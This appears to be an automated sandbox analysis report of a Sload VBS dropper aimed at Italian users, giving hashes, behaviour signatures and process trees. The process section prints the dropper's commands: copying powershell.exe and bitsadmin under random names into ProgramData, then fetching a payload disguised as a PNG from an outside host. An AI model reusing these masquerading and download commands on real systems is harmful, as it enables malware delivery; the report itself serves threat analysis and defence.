Analysis
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max time kernel
37s -
max time network
40s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
23-11-2020 13:04
Static task
static1
Behavioral task
behavioral1
Sample
Allegato_Sload_Italy_vbs (19).vbs
Resource
win7v20201028
General
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Target
Allegato_Sload_Italy_vbs (19).vbs
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Size
5KB
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MD5
eb5129aca7687d3de32e25cc3a0fc643
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SHA1
857d8842c0424c7f7ad3dc1b76922e26fd6b94a7
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SHA256
31b24778ec52bcc726779fe314e6711ffefb2dcaea4342c2621f908327de71ae
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SHA512
534c8ea193e21679f24cee81fbf1a84490e867f2565aedac9032337036d2a9b9509f77924e29f091ffc360077e60d3e5489d28001c5ab0c04ba89a46453bc550
Malware Config
Signatures
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Executes dropped EXE 1 IoCs
Processes:
KNTnLqjin.exepid process 1972 KNTnLqjin.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious use of WriteProcessMemory 13 IoCs
Processes:
WScript.execmd.exedescription pid process target process PID 1848 wrote to memory of 1224 1848 WScript.exe cmd.exe PID 1848 wrote to memory of 1224 1848 WScript.exe cmd.exe PID 1848 wrote to memory of 1224 1848 WScript.exe cmd.exe PID 1224 wrote to memory of 1996 1224 cmd.exe cmd.exe PID 1224 wrote to memory of 1996 1224 cmd.exe cmd.exe PID 1224 wrote to memory of 1996 1224 cmd.exe cmd.exe PID 1224 wrote to memory of 1976 1224 cmd.exe cmd.exe PID 1224 wrote to memory of 1976 1224 cmd.exe cmd.exe PID 1224 wrote to memory of 1976 1224 cmd.exe cmd.exe PID 1848 wrote to memory of 1972 1848 WScript.exe KNTnLqjin.exe PID 1848 wrote to memory of 1972 1848 WScript.exe KNTnLqjin.exe PID 1848 wrote to memory of 1972 1848 WScript.exe KNTnLqjin.exe PID 1848 wrote to memory of 1972 1848 WScript.exe KNTnLqjin.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_Sload_Italy_vbs (19).vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:1848 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zFTdML.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\KNTnLqj*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:1224 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zFTdML.exe3⤵PID:1996
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\KNTnLqj*.exe3⤵PID:1976
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C:\ProgramData\KNTnLqjin.exe"C:\ProgramData\KNTnLqjin.exe" /transfer qFPNoH /download https://owensii.com/werlopab/03824470284/it.png C:\Users\Admin\AppData\Roaming\it.png2⤵
- Executes dropped EXE
PID:1972
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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MD5
0920b14aa67a8b04acf48ffe7c6f0927
SHA13421124253058dc21453ebac531b67aeb999f627
SHA256838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00
SHA5122b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51
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MD5
0920b14aa67a8b04acf48ffe7c6f0927
SHA13421124253058dc21453ebac531b67aeb999f627
SHA256838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00
SHA5122b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51